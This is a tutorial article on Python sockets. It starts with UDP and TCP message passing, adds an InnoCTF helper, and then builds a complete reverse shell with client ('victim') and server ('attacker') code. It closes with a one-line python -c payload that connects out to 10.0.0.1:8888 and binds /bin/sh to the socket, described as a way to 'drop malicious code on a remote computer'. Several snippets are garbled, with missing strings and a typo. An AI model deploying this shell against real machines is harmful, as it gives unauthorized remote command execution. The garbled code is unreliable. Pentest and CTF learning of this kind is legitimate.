In this article, I will show how Python scripts can be used to transmit messages between two computers connected to the web. You may need to perform such an operation while developing an app, pentesting a corporate network, or participating in a CTF challenge. After penetrating into the target machine, you need a mechanism enabling you to give commands to it. This is where a reverse shell comes into play. Let’s write it together.
There are two low-level protocols used to transmit data over computer networks: UDP (User Datagram Protocol) and TCP (Transmission Control Protocol). These protocols work slightly differently; so, let’s examine both of them.
UDP transmits packets from one node to another but does not guarantee their delivery. Each packet normally consists of two parts. The first part contains control data, including the sender and receiver information and error codes. The second part contains user data, i.e. the transmitted message.
As said above, UPD does not guarantee the delivery of the packet (to be specific, datagram) to the destination node because there is no communication channel between the sender and receiver. Errors and losses of packets occur pretty often, and this must be taken into consideration (or, quite the opposite, disregarded in certain situations).
TCP also transmits messages and guarantees that the packet is delivered to the recipient in good order.
Time to practice
The code will be written in modern Python 3. This programming language is shipped with a standard set of libraries that includes the socket module required for my script. Let’s import it.
Imagine that you have a server-client pair. In most situations, your computer acts as the client; while the remote computer is the server. In real life, this refers to any two computers (including virtual machines) or even two processes running locally. What is important is that the code will be different on the different sides.
I start from creating a new instance of the Socket class on each side and setting two constants (parameters) for it.
Then I set up data exchange.
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s object is an instance of the Socket class. To create it, I called the
socket method that constitutes a part of the socket module and assigned two parameters to it:
AF_INET means that that Internet Protocol version 4 is used. If you want, you may use IPv6 as well. In the second parameter, I can specify one of the two constants
SOCK_STREAM. The first constant indicates that the UDP protocol will be used; the second one points to the TCP protocol.
From this point forward, the code will be different on the server and client sides. Let’s begin with the server side.
s.bind(('127.0.0.1', 8888)) result = s.recv(1024) print('Message:', result.decode('utf-8')) s.close()
s.bind(('127.0.0.1', 8888)) means that I reserve on the server (i.e. on my own PC) address 127.0.0.1 and port 8888. The port will be used to listen and receive data packets. Double brackets are used because a data tuple is transmitted using the
bind() method (in this particular case, data tuple is a string containing the address and port number).
Only free (i.e. available) ports can be reserved. For instance, if a web server is already running on port 80, it will hinder my actions.
recv() method of the
s object listens on the specified port (8888) and receives data in portions of 1 KB (accordingly, I have set the buffer size at 1024 bytes). When a datagram is sent to the port, the method reads the specified amount of bytes, and they are saved in the
Then the well-known
print() function is used to display
Message: and the decoded text. Because the text stored in
result is encoded in UTF-8, I have to interpret it by calling the
And finally, the
close() method is called to stop listening on port 8888 and free it.
Therefore, the code on the server side is as follows:
import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.bind(('127.0.0.1', 8888)) result = s.recv(1024) print('Message:', result.decode('utf-8')) s.close()
This situation on this side is much simpler. To use a datagram, I use the
.sendto() method belonging to the
socket class (to be specific, to the above-mentioned
', ('127.0.0.1', 8888))
The method has two parameters. The first one is the message you send. Letter
b before the text is required to convert the text characters into a sequence of bytes. The second parameter is the data tuple that specifies the IP address of the receiver PC and the port receiving the datagram.
Therefore, the code on the client side is:
import socket s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(b'
', ('127.0.0.1', 8888))
For the testing purposes, I open two consoles; the first one will act as the server, while the second one, as the client. In each console, I run the respective program.
Nothing can be seen on the client side, which is logical: I did not request anything to be displayed there.
To test the script, I transmitted a message from one port to another port on my own PC; however, if I run the above scripts on different computers and specify the right IP address on the client side, everything will work in the same way.
Time to deal with TCP. I create the
s class again, but this time I use the
SOCK_STREAM constant as the second parameter.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
Reserving a port to receive packets:
Now I have to use a new method called
listen(). It allows to set up a kind of a queue for connected clients. For instance, the
.listen(5) parameter, limits the maximum number of connected and waiting for response clients to five.
Then I create an infinite loop to process requests from each new client in the queue.
while 1: try: client, addr = s.accept() except KeyboardInterrupt: s.close() break else: result = client.recv(1024) print('Message:', result.decode('utf-8'))
Looks scary? Don’t worry, let’s start from the beginning. First, I created an exception handler –
KeyboardInterrupt (to be able to stop the running program from the keyboard) – to make sure that the server works indefinitely until I press a key.
accept() method returns a pair of values that are saved to two variables: the sender data are stored in
client becomes an instance of the
socket class. In other words, I created a new connection.
Now look at the three strings below:
except KeyboardInterrupt: s.close() break
These commands stop the listening and clear the port only if I have stopped the program. If no interruption occurs, the
else block is executed:
else: result = client.recv(1024) print('Message:', result.decode('utf-8'))
As you can see, I save the user data in the
result variable, while the
print() function displays a message sent to me by the client (after converting the bytes into a Unicode string). As a result, the code on the server side looks something like this:
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('127.0.0.1', 8888)) s.listen(5) while 1: try: client, addr = s.accept() except KeyboardInterrupt: s.close() break else: result = client.recv(1024) print('Message:', result.decode('utf-8'))
Once again, the situation on the client side is simpler. I import the library, create an instance of the
s class, and then use the
connect() method to connect to the server and its port that receives the messages.
Next, I send a data packet to the receiver using the
And finally, I stop listening and clear the port:
The code on the client side should be something like this:
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 8888)) s.send(b'
Again, I run the server code and the client code in two different consoles. The output should be similar to what I had seen with the UDP protocol.
Congrats! Endless possibilities are now open to you. And, as you can see, network scripts are not that scary. By the way, as an information security expert, you can always add encryption to the above protocol.
As a training exercise, you may try to write a chat for several persons – like the one shown on the screenshot below.
Putting knowledge to use
I had participated in InnoCTF twice, and I assure you that the ability to manipulate with sockets in Python is extremely useful when you are trying to hack something. In fact, this is all about multiple parsing of data received from the InnoCTF server and their skillful processing. These data may be of any type, including math expressions, equations, etc.
When I deal with a server, I use the following code.
import socket try: s = socket.socket(socket.AF_INET, spcket.SOCK_STREAM) s.connect(('
', )) while True: data = s.recv(4096) if not data: continue st = data.decode("ascii") # Here is the task processing algorithm; its results should be saved in the result variable s.send(str(result)+'\n'.encode('utf-8')) finally: s.close()
The code saves the data bytes in the
data variable, and then the string
st = data.decode("ascii") decodes them from ASCII. Now the
st string stores the information received from the server. To respond, I have to send a string variable; therefore, the
str() function must be used. In the end, it has the line feed symbol:
\n. Then I encode everything to UTF-8 and send to the server using the
send() method. Finally, I have to close the connection.
Creating a fully featured reverse shell
Enough training examples; time to implement a real task: create a reverse shell enabling you to execute commands on a remote PC.
In fact, all I have to do is add a call to the
subprocess function. Python includes the subprocess module that enables you to run processes in the operating system, control these processes, and interact with them via the standard input and output. For instance, subprocess can be used to launch Notepad.
import subprocess subprocess.call('notepad.exe')
call() method calls (i.e. runs) the specified program.
Now let’s write a shell. The server will be the attacker’s machine (i.e. my own PC), while the client will be the target (victim’s) machine. This is why the shell is called ‘reverse’.
Client side (attacked machine)
The beginning is pretty standard: I import modules, create an instance of the
socket class, and connect to the server (the attacker’s PC):
import socket import subprocess s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 8888))
Important: the IP address specified for the connection is the attacker’s (i.e. mine) address.
Then the main part of the code comes into play: the commands are processed and executed.
while 1: command = s.recv(1024).decode() if command.lower() == 'exit': break output = subprocess.getoutput(command) s.send(output.encode()) s.close()
Here is a brief explanation of the above code. At some point, I would have to exit the shell; so, I check whether the
exit command is received. When it comes, the loop is interrupted. In case it is typed in capitals or includes capital letters, I lower-case all characters of the received command using the
lower() string method.
Most importantly, the
getoutput() method of the
subprocess module executes the command and returns its output, which is saved in the
My buffer is limited to 1 KB of memory, which may be insufficient to save large outputs. Therefore, it may be a good idea to allocate more memory for it, for instance 4096 bytes instead of 1024.
Then I send the command output to the attacker. If the attacker ends the session with the
exit command, I close the connection.
The entire code looks as follows:
import socket import subprocess s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 8888)) while 1: command = s.recv(1024).decode() if command.lower() == 'exit': break output = subprocess.getoutput(command) s.send(output.encode()) s.close()
Server side (attacker’s machine)
The code begins similar to the above examples.
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 8888)) s.listen(5)
The only difference is the IP address.
I specified the
0.0.0.0 address to be able to use all IP addresses present on my local machine. If it has several local addresses, the server may run on any of them.
Then I accept the connection and data:
client will store the new connection (socket), while
addr, the sender’s address:
client, addr = s.accept()
Now, the main part of the script begins:
while 1: command = str(input('Enter command:')) client.send(command.encode()) if command.lower() == 'exit': break result_output = client.recv(1024).decode() print(result_output) client.close() s.close()
I suppose that this code seems familiar to you. Everything is simple: a command entered from the keyboard is saved in the
command variable and then sent to the attacked machine. Concurrently, I retain the possibility to exit in a civilized manner by entering the
exit command. Then the information received from the attacked PC is saved in the
result_output variable and displayed on the screen. After exiting the loop, I close the connection both with the client and the server.
The entire code is as follows:
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 8888)) s.listen(5) client, addr = s.accept() while 1: command = str(input('Enter command:')) client.send(command.encode()) if command.lower() == 'exit': break result_output = client.recv(1024).decode() print(result_output) client.close() s.close()
Time to battle-test it! As usual, I launch the server in one console (the attacker side) and the client in another console (the victim side) and see the output in the server console.
Then I try to open Notepad by typing
Congrats! The shell is ready.
To drop malicious code on a remote computer, it is preferable to have it in one string. Fortunately, Python makes it possible to put the entire client’s code into one rather short string:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-c key allows to transmit the program as a parameter.
I suppose you recognize some elements of this code. For convenience purposes, see below its line-by-line version.
import socket,subprocess,os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('10.0.0.1',8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i']) # Для Windows - .call('cmd.exe')
There are also some new elements in the script:
fileno(). To understand what is it all about, you need to be familiar with file descriptors.
To put it simply, file descriptors are nonnegative integers that are returned to a process after it has created input/output streams and a diagnostic stream. In UNIX, these streams have standard numbers: 0, 1, and 2. Zero is the standard input stream (terminal), 1 is the standard output stream (terminal), and 2 is the standard error stream (file containing error messages).
os module is another standard Python element. It enables the program to communicate with the OS. Its
dup2() method alters file descriptor values.
fileno() is a method of an object belonging to the
socket type that returns the file descriptor of the socket. Using the
dup2() method, I replace descriptors of the input/output and error streams by the respective descriptors of the socket.
os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2)
In other words, I have transformed my socket into a fully featured process. Now I can launch a terminal and use it. To do so, I enter the following string:
For Windows, the command is slightly different:
As you can see, it’s not a big deal to trick the system. Advanced Python functions can do miracles.
Now you know how to exchange messages between programs written in Python. Furthermore, you can write one-string scripts that put you in control of a remote machine. Good luck in your pentesting experiments!